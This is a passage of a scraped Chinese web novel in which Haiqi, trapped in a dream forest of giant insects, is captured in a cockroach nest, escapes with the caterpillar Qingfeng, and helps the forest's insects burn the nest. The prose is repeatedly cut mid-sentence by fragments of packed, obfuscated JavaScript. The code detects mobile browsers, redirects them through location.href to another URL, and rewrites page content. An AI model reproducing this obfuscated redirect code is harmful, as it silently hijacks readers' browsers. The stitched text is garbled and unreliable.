l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586003|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一处藤蔓丛生的地带,海旗立刻两眼放光。虽说头螂已经逼近身后,还悠悠地说:“想跑去哪儿呢?啊!” 刚好前面是一段下坡路,海旗脑子里有了想法。 “谁先死还不确定呢!恶心东西!” 而后脚一歪整个人与地面倾斜一定的角度,随手捡了块石头作为支撑点,往藤蔓丛一个小洞口滑进去,消失在其中。 头螂恼羞成怒,紧随其后也冲了进去,结果半个身子就被卡在洞口,动弹不得。 “怎么回事?” “真笨!”海旗就站在它下方,嘲讽道。 藤蔓长得密集且粗壮,里面几乎看不到一丝光线。但蟑螂的眼睛不受光线影响,就算身体被卡住,口器也还能挥舞。 谁知脑袋还没开裂,就有什么东西缠上来,非常快速地绕了好几圈,然后越收越紧打了个死结。阻止了它那灵活的口器。 “嗯?嗯嗯?嗯嗯嗯……” “别叫了。”海旗拍掉手上的木皮屑,“跟人类比智商,你还是差了点。” 海旗拿着刚刚接力用的石头比划了一下,眼睛都不太眨一下就往头螂的脖子去扎下去,用最后的肾上腺素一点点将头螂的头砍了下来。 确认头螂不会突然长出新脑袋复活后,才彻底松懈下来,简单处理自己的伤口。 听说蟑螂可以药用。海旗做了一番思想工作后,满脸嫌弃地将头螂渗出的□□往伤口上涂抹。也不知道是不是心理作用还是真的有用,血止住后,伤口竟然真的不怎么疼了。 休息了一会儿,海旗一脚踹开了卡在洞口的死蟑螂,然后提着战利品的两根须往回,准备和青凤会合。 也不知道这脑袋能不能震慑住那些螂小弟。 不对,怎么找到青凤还是个问题,她又不是狗鼻子,没法通过气味辨认。只能等青凤来找自己了,希望它平安。 “你好生厉害。”前方的树丛中冒出来一条墨绿色的小蛇。 海旗将蟑螂脑袋往身后藏了藏,干笑了两声:“你不会一直在旁观吧?” 幽夜没有否认,轻轻嗯了一声。 见状,海旗抱怨了一句:“那您怎么不管管您的子民?它们要吃了我和青凤!” 还说什么想和我做朋友呢,朋友是可以见死不救只在一旁旁观的吗? “抱歉。”幽夜的声音低低的,垂着头很是无辜的样子。 海旗等着他继续往下说,结果并没有然后。 幽夜只是低着头沉默。海旗也不知该生气他对朋友的准则与自己不同,还是理解他只是这巨虫之森的一员,本质也是昆虫的思维。 “我要去找青凤了。”海旗丢下一句话就生气地走了。 幽夜没有立即动身离开,视线追随着海旗的背影,尤其是腰间受伤的位置,一直盯着直到看不见人。 海旗是非常十分小心谨慎,以防和某个螂小弟撞上。 蟑螂个头都那么大只,就算比头螂好对付些,碰上了也是够呛,还是能避则避。 再次回到被灭族的蝗虫窝,这里已经没有蟑螂在了。海旗在周围搜寻了一下有无有用的东西,捡回来了防身的木棍。往青凤逃走的方向去。 也不知道是那群螂小弟设了陷阱来抓青凤但被自己踩着了,还是自己确实伤得太重,身体支撑不住了。 不然怎么能走着走着就两眼一黑晕倒了呢? 10. 囚困蟑螂窝 迷迷糊糊间,海旗被一股刺鼻的臭味熏醒。 睁开眼但是什么也看不见,耳边充斥着窸窸窣窣的嘈杂声,一度怀疑自己眼瞎了。 “哟~醒啦!” “醒啦醒啦!” …… 凝神细听,所有人都在重复这一句话。声调是一致的尖细古怪,又看不清是什么,除此之外的感官只有扑鼻而来的臭味,臭味很熟悉。 实在受不了想捂住鼻子隔绝这股恶臭时,海旗才发现双手挣脱不开,自己被绑着,脚底还是悬空的。再闻多一会儿,终于受不住干呕。偏偏胃里没东西,只是一个劲地往外吐苦水。 “唰唰唰”突然间一道道醒目的红光齐齐照在海旗身上,得以看清自己的处境。 这是一处阴暗狭窄且潮湿的洞穴,穴壁上密密麻麻爬满了——每只至少两米高的大蟑螂!而洞穴里唯一的光亮来自这些大蟑螂的复眼。 这是捅蟑螂窝了? “就是你杀了我的大螂?”一道略显苍老的尖细声从头顶上方传来。 海旗抬头一看,一只体型比周围所有蟑螂要小一半,不同于周遭的深棕色系,全身是黑棕条纹的奇特“小”蟑螂,以族虫的身体作为脚垫,颇为尊贵地倒挂在空中。 本想问一句“大螂”是谁,怎么叫这个名字。然而海旗刚一张口,恶臭就迅速涌入口腔,又是一阵恶心干呕。完事还不忘吐槽一句:“好臭!” 苍老之声满目惊异,仿佛听到了什么人伦八卦:“你说什么?臭?” 周遭的蟑螂们立马会意往海旗身上涌去,将其围得水泄不通密不透风。一旦散开估计只剩下一副骨架了。 但它们只是涌上来,并未动手也未伸出口器,然后这股冲劲十足的味道成功将海旗恶心坏了,直接被熏晕。 其中一只发现后,报告上去:“王后,这人类又晕过去了。” 那只“小”东西竟是蟑螂群的王后。 “哼!不知好歹的东西,等她醒了继续熏!敢杀我儿,还敢嘲弄我的巢穴!老娘还治不了你?” 因是熏晕过去的,所以醒得也快。接下来又被熏了两回之后,终于被迫接受并习惯这股味儿了。 “操/你大爷!死蟑螂!臭蟑螂!恶心东西!离我远点!给我弄到哪儿来了?下水道吗?臭死了!臭!死!了!呕……啊呸……走开啊!恶心的臭蟑螂!长那么臭怎么没有把自己熏死要来熏我!长得丑体味重还不安好心!蟑螂就应该灭绝!啊啊啊啊啊……” 海旗清醒后就是破口大骂,虽然词穷,但是大骂。 从来没觉得这么屈辱、这么恼怒过,一旦挣脱束缚,海旗定能将这一洞蟑螂都能灭成齑粉,然后放把火粉末都不带留下一点,全给它烧咯! 一只长得十分妖艳性感的母蟑螂用触/须挠了挠脑袋,提议道:“母亲,吵死了。让小妹把她吃了吧。” “吃你大爷!”海旗逮着一个怼一个,“有本事放你姐姐下来,看我不让你跟你大螂哥团聚去!” “呲!”螂小妹是个性急的,一被回怼立马急眼作势要她好看,“看我不立马吃了你!” 海旗不甘示弱:“你来!你个丑八怪!姐姐我要是让你得逞了我就不姓海#@*&/=+#-#*……” 海旗还在大喊大叫,螂王后前足一动,一根藤蔓飞过来将她的嘴绑住:“老娘的地盘禁止喧哗!” “!”不愧是被蟑螂洞熏陶过的藤蔓,入口就是一股浓郁的臭味,成功地又晕了。 如果我犯下了什么滔天大罪,请让天道来惩罚我。而不是将我丢进蟑螂洞里反复摩/擦,被漫天恶臭包围,等着喂蟑螂! 这次刺/激过大,许久才悠悠转醒。海旗第一时间屏住呼吸,让自己有一秒的安宁。再重新吸气时,发现竟然没有了恶臭,浸入鼻间的反而是一丝清香。 海旗疑惑地观察四周,一如既往地漆黑。自己也没有被吊在空中了,身下是温暖柔软的触感,周围还没有大蟑螂围着,感觉好多了。 柔软的生物感觉到身上的动静:“你醒了?醒了就起来别压着我!” “青凤?”这熟悉的口气无疑是青凤。 青凤蔫蔫地:“干嘛?” 海旗没动,问:“你怎么也被抓过来了?而且还活着没被吃掉?” “……”也许同是难姊难妹,此刻的青凤不计较太多,如实道:“它们数量太多了,还玩阴的,我躲不及就被抓了。听说你把那个强壮的家伙杀了?真的吗?” 终于不是恶臭的环境让海旗的心情好了一点,不由嘚瑟道:“你说那个大螂?是啊就是我,厉害吧?” 青凤说:“再厉害你不也被抓了。再说了,你杀得了一只,杀不了一群。咱们能不能活下去都不好说呢。” 海旗疑惑道:“话说,这些蟑螂把我们抓来又留我们一命是为啥?总不能还要挑时机进食?” 青凤点头:“你说对了。听说它们的王后年限将至,正在孕育新王后,要把我们作为营养品献给新王后。” 闻言,海旗小小吐槽了一下:“呵呵呵,这群蟑螂还怪有仪式的。” “不好笑谢谢。”虽然看不到但也能想象到青凤是何表情。 海旗的手脚都被绑住了,扭动着身子艰难地站起来。不得不说这些蟑螂虽然有点智商但不多,藤蔓在手腕脚腕处绑得很紧,但也就绑了手腕脚腕。 腰腹的伤已经感觉不到疼痛了,扭了扭腰感受了一下,几乎是完全好了。 在狭窄的洞穴里蹦蹦跳跳,青凤立马恼了:“你跳来跳去干嘛?烦死了。” 海旗说:“我找星星,它在哪儿呢?还在睡吗?” “……”青凤马上沉默了。 感觉这个氛围不太对,海旗问:“该不会看星星小只先给那死蟑螂进补了吧?” 青凤收着声音道:“那倒没有。” 海旗松了口气,那还好。只听青凤接下来心虚地说:“只是我不小心把它弄丢了而已……” 海旗:“弄丢了?而已?” 青凤解释道:“它太碍事了,而且一直叫不醒,我举着它很累的,都爬不快了!快被追上的时候我一个着急还被绊倒了,就不小心脱手了……那时候我再不快点爬起来继续跑就被追上吃掉了,哪儿还有空管它!” 本来在蟑螂窝里就烦,这下得知唯一的小伙伴还失踪了不知生死,海旗感觉自己的小脑瓜快要爆炸了。 作为刚得知这个世界的真相的新手,在巨虫森林这个新手村,把自己的向导搞丢了可还行? “或许星星会想办法来救我们?”海旗安慰自己道。 青凤说:“不是我要打击你,我给它甩出去的时候,它还睡得跟死猪一样,说不定现在还没醒呢。就算醒了它也不知道我们在蟑螂窝里,就算知道了你觉得就凭它那么小一只能闯得进来?就算闯进来估计也是第一个被吃掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586004|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的……” 海旗打断它:“你话多了,请闭嘴谢谢。” 青凤头一扭,哼道:“谁愿意理你似的。” 两人都安静下来后,海旗坐在凹凸不平的地面上,弓着身子试图咬开脚腕上的藤蔓。青凤听到动静,偷偷瞄了一眼,也跟着学。 反观星星那边,在被青凤甩脱后,抛到了一处水洼边,不省人事地躺着。有路过的虫来喝水好奇地嗅了嗅,发现不是认识的生物,闻起来也不好吃,所以没虫理会。 和海旗刚“吵完架”的小蛇幽夜,爬过星星这边,也注意到它。看了一眼,沉默了一下,怄气般扭头走了。并不打算施以援手。 没多久,星星打着哈欠伸着懒腰起床了。然后就懵了。 身上是脏兮兮的,环境是陌生的,好不容易找到的海旗不见了! 海旗不见了! 意识到事情的严重性,星星慌里慌张地飞上天到处喊:“海旗!你在哪儿呢?” 找了半天,海旗没找着,找到蛙哥了。从蛙哥那里了解到她们遭遇蟑螂群的围剿,还将人抓走了之后,星星感觉天都塌了。 星星坚定地表示:“我要去救海旗!” 蛙哥劝道:“虽然我很想支持你,但是我们打不过蟑螂大军。而且难保她们已经成为盘中餐,去了也是白白送上门被吃掉呱。” “不,海旗还活着。”星星肯定地说,“我一定要想办法救她出来!” “光凭我们的力量必然不够,但若是能联合其他虫族呢?” 蛙哥懵懂地问:“什么?怎么联合?呱?” 星星分析道:“这群蟑螂大军在森林里肆意妄为,残害所有虫族,是所有虫为之憎恶的对象。我们可以集结所有虫族,这样在数量上的天平就会倒向我们了。我们团结力量一起上门讨伐!你们也希望这片森林的空气是清新干净的吧。” 蛙哥疑惑:“可是……这真的能行吗?呱?” “当然可以,森林里的其他虫族苦于蟑螂军统治已经很久了,我们得靠自己赶走敌人!蛙哥你去召集你认识的族群,我去号召其他的,我们一起加油!呱!”星星拿起蛙哥的脚蹼,击掌为誓。 “呱?呱!”蛙哥虽然不太明白,但还是照做了。 所幸海旗的牙口不错,费了点功夫将脚上的藤蔓咬断了。手上由于是被反绑在背后,而且绑得很紧,暂且挣脱不开。 感受到旁边窸窸窣窣且即将要恼羞成怒的气氛,海旗好心地问了一句:“要帮忙吗?” “不用!” 眼睛已经逐渐习惯黑暗,隐隐能看见一点轮廓了。 海旗说:“不是白帮忙的,我帮你咬开,你也要帮我解开我手上的。” 青凤勉为其难地递出前足,因为已经被整松了些,没费多大工夫就解开了。海旗转过身将手腕递出去,青凤面无表情地灵活解开。配合得十分有默契。 “现在我们怎么办?”青凤问。 虽然解开了束缚,但能获得自由的也就这点空间而已。 海旗没有回答,只是到处摸索观摩这个狭小的囚牢,最后得出结论:“静观其变。” “放心吧,我们都会活下去的。我很喜欢蝴蝶。” 青凤:“哦……喜欢就喜欢呗。” 若是有光,海旗应该能看见青凤的大青脑袋上多了两坨深绿。 就是类似人类腮红的东西,在这里应该叫腮绿。 11. 灭害虫1 青凤扭扭捏捏地问:“你见过蝴蝶啊?在哪见的?” 好问题。 海旗一时语塞,自己目前仅有的记忆与常识皆来自上一个梦境,不知该不该告诉它。 话说梦境的生物是否也是独立的生命?若是贸然告诉它们自己所生存的世界其实是来自她的虚幻之梦,它们又会作何感想? 感受到青凤的期待,海旗又觉得什么也不说不太好。 “就……从小到大都有见过。”这个回答应该没毛病。 小时候村里随处可见,城里也还没过度商业化;长大后,学业越来越繁忙,就成了在书本中或是手机上才能见到,而且见得更多。 青凤惊讶道:“你见过很多?” 海旗点头:“算是吧。你难道没见过?” 青凤低垂着脑袋,悲伤道:“没见过。我们一族就剩我了,我从孵化出来就只有我自己,没见过有同伴。见过我的都说,还以为我们一族早就灭绝干净了呢……” 怎么还戳人家伤心事了? 海旗手足无措地拍了拍青凤的前足以作安抚:“抱歉。”又试探道,“反正待着也是待着,不如我们交换一下故事吧。我给你讲讲我的故事,你也说说你的,怎么样?” 青凤扭过头看着她,虫眼水灵灵地,下一秒巨大的泪珠就砸了下来。 “诶,你哭就哭,但是别叫啊!等下把看守的都吸引过来了!”海旗压着声音提醒,可算止住了即将到来的灾难现场。 然后不客气地往青凤身上一躺,软乎乎的挺舒服,“我先开始吧。” 海旗将记忆里和爹妈斗智斗勇的有爱家庭,与海珀兄妹从小到大的调皮打闹,跟徐蕊疯癫友谊的发展,以及在校园经历过的开心与烦恼、疯狂与努力、梦想与追求,全都毫无保留地述说。 过去的一切犹如电影般一幕幕放映。 “真好,”青凤吸吸鼻子,其实也不知道到底有没有鼻子,“人类的生活真美好,好幸福好羡慕!” 相比弱肉强食的巨虫森林,人类社会看起来的确更安全更美好。 想到此,海旗无奈地笑了笑。因为知道自己所讲述的是假象,内心并没有那么从容。 “没什么好羡慕的,人类社会与你们也没有什么差距。我倒认为,动物世界要单纯得多,单纯的弱肉强食,单纯的只有杀/戮。” 作为虫子,每天要思考最多的问题就是吃什么,哪里有水喝,接下来是不是该繁殖了、该孵卵了、又该觅食了等等。 最大的危险或许就是不知何时会成为别人的盘中餐。 但人类社会不同,太过复杂。条件好的可以不必忧心吃穿用度,但人有情感、欲/望,虚荣又贪/婪,你总会被其中一样打败;条件差的其实和虫子也没什么区别,为了果腹受尽折磨,累死累活,迟早也会沦为资本的“盘中餐”。 “不一样。你们人类有感知幸福的能力,我们没有。”青凤用力将眼泪抹干,交换自己的故事。 青凤的虫生没有什么独特之处,它这一生就是为了化蝶而寻找合适之地,一路不是在躲避天敌,就是在躲避天敌的路上。除了惊慌失措的恐惧,没有多余色彩。 青凤说:“或许只有化蝶以后才是我们一族虫生的开始。” 海旗问:“对你而言,化蝶也是必要的使命吗?” 青凤不假思索道:“当然!” 海旗小声道:“我想,对我也是吧。” 牢笼外突然传来阵阵嘈杂声。青凤问:“你说什么了?” “我说,我突然很佩服你。”海旗来到门边,探听外面的情况,“它们的新王后好像快诞生了,我们准备逃跑吧。” 仔细听就知道,蟑螂之间互相传递着消息,门外是一片欢呼雀跃。 说是门,其实就是用一块大石头堵出来一个密闭的空间。方才乱摸一通发现,墙壁是较为结实湿润的土壤,基本能确定蟑螂窝是建造在地底的洞穴。 而她们被关的位置应该在最底下,不必担心食物逃脱,螂群可以一心投身于等待新王后的交替时刻。 主要一旦逃出去,她们力量微薄,也会立即被四周密密麻麻地蟑螂群发现并送到新王后面前。 若是费点力气从另一边挖地洞回到地面也不是不行。但时间紧迫,土壤并非松动好挖,也不一定挖得过专业的蟑螂群,还可能会塌方被活埋。就算侥幸挖出地面了,一旦被发现逃走,蟑螂群是这片森林中仅次于虫主的王,根本逃脱不了成为螂后的营养餐。 海旗敲了敲石头旁的土墙,说:“青凤,你可以吐丝对吧?一次性能吐多少?” 青凤不知道她要打什么主意,但还是老实回答:“只能做到把自己严实包裹起来。” 海旗思索了一下,又将原先绑住她们的藤蔓捡起来:“足够了。我们先挖开这面墙,准备好了吗?” 就这样,一人一虫吭哧吭哧挖穿了墙面。果不其然,墙面坍塌的那一刻,无数双闪着红光的复眼齐齐扫射过来,随之而来的是熟悉的恶臭。 虽然做足了心理准备,海旗还是忍不住暗叫一声:“我/操!” 按照说好的,青凤忍住内心的恐惧往天花板吐丝。细细的丝线穿透了一只大蟑螂的身体,牢牢粘在墙壁上。海旗抱住青凤,清香立马压制住恶臭,快速荡了出去。 蟑螂群终于反应过来营养品越狱,纷纷扇动羽翼追上去。青凤非常灵活地交换丝线,穿梭其中,愣是没有抓住。 海旗佩服道:“你有这么好用的能力哪里还用躲天敌躲得那么狼狈啊!” 青凤正处于高度紧张的精神状态,突然被夸奖,愣了一下,吐丝慢了一秒没粘稳,两人掉下去了。 “……”不该多嘴的。 即将被蟑螂群吞噬之际,一只性感的母蟑螂快速出现将她们抓住了,群螂看见它立马停下攻势。 “一群废物!干什么吃的?” 这只母蟑螂一开口海旗就认出来是那只跟她吵架的螂小妹。海旗暗道不好,被抓到可就不好再逃脱了。 螂小妹啐道:“正好,我拿去给王后。” 群螂畏畏缩缩地回到墙壁上待命了。 海旗的心提到了嗓子眼,青凤也重新抖成了筛子:“哇!救命啊……” 不知道是不是前面谈心加深了一下感情,还是本来就绝望逃不出去,垂死挣/扎也不过是早死和晚死的区别,青凤难得没有抱怨海旗。 海旗又不甘心地去尝试瞬移的保命技能,瞬移不成的话来个什么能用的工具也行啊,比如刀啊剑啊什么的。 这么想着,紧握的双手就感觉被什么东西撑开了,入手的是坚硬冰凉的手感。 什么东西?什么东西凭空出现在她手上了? 海旗举起手一看,左手一把镰刀右手一柄长剑! 居然真的出现了!我就说嘛,天无绝人之路,姐姐自己的梦境世界自己还做不了主了? 按捺住内心的激动,用手肘戳了戳青凤,给它展示了手中的武器。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586005|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青凤虽然莫名这是什么以及哪儿来的,但立马明白了她的意思,让自己冷静下来。 然后海旗一个反手往抓着自己的蟑螂足砍去。 怎料这个螂小妹也不是吃素的,察觉到杀气快速换了只足抓人,愣是躲开了。 螂小妹将海旗提到眼前:“你这人类好有手段!死到临头就别妄想能跑得了!” 说罢就要夺去其手上的武器,海旗则是一个乱挥让它不敢随意靠近。 “我可去你的吧,姐姐可不想被你这恶心东西夸!” 性急的螂妹妹果然怒了,海旗看准时机砍下挥过来的蟑螂足,又反手趁其不意将拎着自己的那只也砍了。 见青凤愣着没动静,海旗喊了一声:“青凤!捞我啊!” “啊?哦!”青凤立马吐丝圈住海旗的腰拉上来。 海旗说:“用点力把我甩上去!” 青凤照做,但好像有点甩过头了,差点砸到天花板上的大蟑螂。不过正好,蜷缩身体,双手将武器交叉在身前,摆出帅气的进攻姿势,借助下落的冲击,瞄准螂小妹的脖子,镰刀划拉一下,不等它张开口器反击,脑袋就分家了。 要不是青凤的虫嘴没法像人类那样张开,下巴肯定都掉地上了。 海旗精准地落在青凤身上,下落间赶紧把青凤唤回神,趁那群傻蟑螂还没反应过来,吐丝逃走。 不得不说,这个洞穴真的太多蟑螂了,墙面地面都没有一处空白能落脚,只能从空中制定路线。 “谁杀了我的孩儿!” 一道惊声怒吼响彻整个洞穴,土地震颤,上下前后的追兵立马涌上来。原本晃晃荡荡还有缝隙能穿过去,这下直接落到地面被包围成了一个密闭空间。 能形成密闭空间还是因为海旗手里拿了刀剑,蟑螂群不敢靠近尖锐物而强行空出来的。 青凤躲在身后抖着声问:“海海海旗,怎怎么办?” 海旗说:“遇事先冷静!你看我们那么多次没命的机会都挺过来了,姐姐我会眷顾你的!” 其实自己的声音也是抖的。 有胆大的靠近想抓住海旗,幸好身体反应够快,“嗖嗖嗖”来几只砍几只。见同伴上去的都没了,其他的也不敢动。就这么陷入僵持的局面。 看得出来,这些蟑螂智力真的蛮低下的,这时候当然是数量占优势,竟然还能被唬住。 僵持了一会儿,一条道被渐渐让了出来。对面是肚子上挂了个巨大虫卵的螂王后,虫卵通红呈透明状,隐隐有破裂之兆。 新王后马上就要诞生了。 “又是你!杀了我的孩儿!”螂王后恼怒地吼道。 海旗瑟缩了一下,回吼道:“那咋了!”这时候在气势上可不能输! 螂王后被如此大言不惭的三个字气得可能要早产了,只见它痛苦地捂着自己的卵,咿咿呀呀地嚎叫。 “王后,不好了!其他虫族不知道怎么回事,一窝蜂地攻过来了!” “外围防线马上要被攻破了!请求支援!” 几只看起来和那个大螂螂小妹一样有话语权的立刻带领各路螂小弟去应援,只留了少部分保护照顾螂王后的。 当然这小部分对于海旗和青凤来说也是很头疼数量。 海旗大胆猜测:“会不会是星星?” 青凤觉得不可能,摇头否定:“我不信。” 然后就听到远处传来一声呼喊:“海旗!我来救你了!” 显然就是星星的声音。 12. 灭害虫2 海旗本想回应,但护着螂王后的孩儿们逐步逼近,马上就要攻上来。 “可别怪我没提醒你们,想想你们的兄弟姊妹们都是怎么栽在我手里的,识相点比较好哦。” 威慑的话不一定有用,至少能拖延点时间。 也不知道星星是怎么做到的,居然能突破重重防线找到她。 来不及多想,已经有恼怒的健壮大蟑螂冲上来了。要不是那个叫大螂的切切实实被自己砍了,差点以为它复活过来寻仇了。 不知道它们是不是公的都统一长一身腱子肉,母的则全是性感妖/娆的火辣身材,其他的母蟑螂也和刚砍了不久的那只长得一模一样。其他地位低的也就个头稍小一点,身形也都一样样的。唯一的个例只有螂王后了。 海旗一边挥舞着刀剑反击,一边忍不住胡思乱想。 “海旗!”星星很快就找着人了,“战况这么激烈呢?” 海旗没工夫回话,抬眼给了一个自己没事的眼神让对方放心。只见青凤在后头也被逼得连连后退,狼狈的避开攻击,嘴里嚷嚷着:“怎么朝我这来了?救命啊!” 星星喊这一嗓子自然也吸引了其余蟑螂军,纷纷甩出口器要抓来当小菜吃。所幸它身形娇小,灵活地躲开了。 海旗说:“青凤,你别怂啊!你的丝线很强很结实的,该用的时候要用上啊!” 青凤凌乱地挥舞着前足,喊道:“可是我害怕!” 海旗无奈:“怕什么,你刚刚那么勇不记得了?都能独自灭掉好几只了。” 青凤难以置信地指着自己:“我?真的吗?” 海旗抽空指了指她们一路过来的方向,地上掉了不少已经不动弹的大蟑螂,看起来毫发无伤。但若仔细看就能发现,它们的脑壳上都有一个沾满白色液体的小洞,正是被青凤的丝线为了粘住墙壁而刺破的。 很明显蟑螂的的弱点集中在头部,一旦被贯穿即能丧命。 青凤震惊地捂住嘴巴,双眼肉眼可见地亮了:“你是说这些真的都是我/干掉的?” 海旗肯定地点点头。 “哇哦!”星星也跟着指引看清了一地的蟑螂尸体,震撼道,“大虫子,看不出来你那么强啊!” “啊哈哈哈……”被这么一夸,青凤逐渐重拾信心,“原来我也可以这么厉害啊。嚯!受死吧大蟑螂!” 洁白的丝线被坚定地发射出去,将逐步逼近的蟑螂们一一击穿毙命! “啊!”螂王后突然在后方嚎叫,“竟然又杀我孩儿!我要杀了你们!” 怎么来来回回还是这句怒吼。 不知道什么时候被转移到安全位置的螂王后除了发出怒吼,很快又没动静了。前面已经有早产的征兆,恐怕正在生产进行中了。是以巢穴陷入困境也没空出来指挥一下。 “星星,我有个妙计!”海旗喊了一声。 据观察,蟑螂巢穴的整体构造和运行,应该类似蚁巢。蚁后和螂王后一样负责生产,一个虫卵能出来几千上万个幼崽,给巢穴增加兵力,这个洞穴里的蟑螂不出意外全都是它的孩子。 如今新老王后更迭,正是最脆弱的时候。若能抓住机会一举歼灭,森林中其他虫族就不必再受其苦。 星星问:“需要怎么配合?” 海旗问:“今天天气怎么样?” 星星的小脑袋瓜稍一转,当即明白了海旗要干什么,答道:“今天天气可好了,是个难得的大晴天!我懂你意思了,我去准备准备,等我!” 地面的战况十分惨烈,群虫纷纷拿出对蟑螂大军的恨意奋勇进攻。奈何对方数量依然众多,集结各大虫族也就勉强能干个旗鼓相当。 但胜在士气高涨,战局迅速反转。 尤其是不久前被团灭了一个小队的蝗虫大家族,过境之处片甲不留。差点小蝌蚪被当饭后甜点吃掉的□□族由蛙哥代领,舌头伸到要冒火。 螳螂是森林里独行侠,但今天也聚到一块儿贡献一份力惩恶扬善,一刀一个好不惬意。 之前还打得不可开交的飞天队和钻土队此刻也暂且放下恩怨,飞在空中的被一个个蚊长腿踢落,在由钻土队的蜈蚣、蚯蚓们靠捆绑窒息敌军,配合依然默契。 种族不一,体型有大有小的五彩蜘蛛们相互配合,快速织网阻止了企图逃跑的蟑螂军,还给大伙儿铺路方便杀敌。 底下的洞窟阴暗,瓢虫们领着昏昏欲睡的萤火虫带来光亮,蝉则发动声波攻击在前面开路。 除此之外,一直被蟑螂军打压使唤用来挖洞造穴的鼠族,此刻也反水了,利用自己骄傲的打洞技术,在地底自在穿行,整塌洞穴,将蟑螂活埋泄愤。 不要问为什么有老鼠,梦境就是不合常理的。 还有其他叫不出名字的虫,此时此刻团结一致,将蟑螂大军打得措手不及。然而蟑螂军不愧当恶霸多年,即使被灭了许多,可从洞穴里依旧源源不断地往外飞,不知何时是个头。 星星回到地面后和各虫迅速交代了一下,请求帮忙,各虫虽然不明白但依然听令照做。 再回到洞穴时,海旗已经累得气喘吁吁,青凤也没丝可吐了。 “海旗、青凤,我让蛙哥拉你们上来,别误伤友军了哦。” 星星返回还带上了蛙哥,只见一条粉/嫩的大舌头快速卷起一人一虫。与之打了许久的螂兵螂妹们当然不肯轻易放走她们,立刻扇动翅膀追上去。结果刚飞起来就被掠过来的几道绿影打落,重重摔在地上。 只见螳螂们迅速收割走蟑螂们的羽翼往外飞。海旗马上看明白这肯定是星星交代的,总算放下星星是否真的明白了自己想法的顾虑。 借着萤火的光亮,海旗注意到角落里的螂王后,它腹中的虫卵已经破开,新王后马上就要出生了。 海旗说:“时间紧急,我们得快点了。” 将海旗和青凤带上来后,蛙哥转头就要继续加入战斗,被海旗叫住了。而后海她将右手的剑丢给星星,比划了几下,小家伙就会意往天空中飞。 这会儿是正午,阳光热烈。 从繁盛的枝叶中冒出头,重新得到太阳温暖的照耀后,一身蟑螂味都被驱散了。 海旗交代道:“蛙哥,麻烦你带我爬上树,不用太高,去树中间的枝杈上就行。” “好的呱。” 都说学好数理化,走遍天下都不怕。 海旗此刻总算明白了这句话的伟大。虽然即将要运用到的只是个非常基础的物理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586006|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知识。 星星飞在阳光下,身上的墨色鳞片发出闪亮光芒。当然,此刻最耀眼的当数手中那柄比它还要长两三倍的长剑。 长剑明亮锋利,剑身沾了不少蟑螂血。星星反复调整位置,让光线自如地往海旗的位置折射,海旗则用镰刀刀身接住光线,再加以调整,往巢穴洞口的一堆蟑螂羽翼中射过去。 一堆薄如蝉翼的羽翼在此刻就是最好的易燃物。 阳光到位,角度也到位。聚焦一点,只需稍加等待,很快就有火星冒出来。 前面各类虫族收到星星的讯息后,快速收集了败在它们手下的蟑螂羽翼,集中堆放在洞口。虫多力量大,很快就堆了高高一摞。 星星返回去接海旗的同时,对还在洞穴里开路的虫族下达了撤退讯息,并交代蜘蛛们织网防止有逃跑的。 因此等火星燃起时,大家都已经离洞口远远的。 森林里没有见过火的虫,迅速升高的滚烫温度吓得它们四处乱窜。根本无暇顾及有没有趁机逃跑的蟑螂。 见状,海旗喊道:“大家不要害怕!火焰可以烧死蟑螂,以绝后患。只要保持安全距离,火焰不会烧到你们的。” 但她一个人的声音太小,没几个虫能听得进去。只能重复呼喊,任由声音被火焰淹没。 此时,只见还在空中的星星张着嘴似乎在尖叫,但海旗没有听见一丝声音。 青凤不知道什么时候爬到树上在她旁边,见其疑惑,好心解释:“这是虫族的声波,它在传达你的话安抚大家。还指挥它们再去捡枝条往里里扔,不要让火那么快灭了。” 原来星星还有这个功能呢。难怪可以配合得那么好,收集易燃物收得如此之快! 海旗很是震惊,没多久就见群虫果然安分下来,去捡树枝的捡树枝,还有的去将逃跑的蟑螂往回赶。不过依然惧怕火焰,都离得远远的。 火势迅速膨胀,蟑螂们在火焰中挣/扎扭曲,成为燃料掉入洞穴燃烧其他同伴,直到化为灰烬。 蟑螂的巢穴因为在地下,靠着鼠族挖洞建出来的。洞穴的出口还仅此一个,待里面的氧气燃尽,剩下的蟑螂军也将会焖死在里面。 “星星,叫它们火里丢,丢太外面等下火势扩大就不妙了,会烧了整片森林的!”海旗又喊了一句。 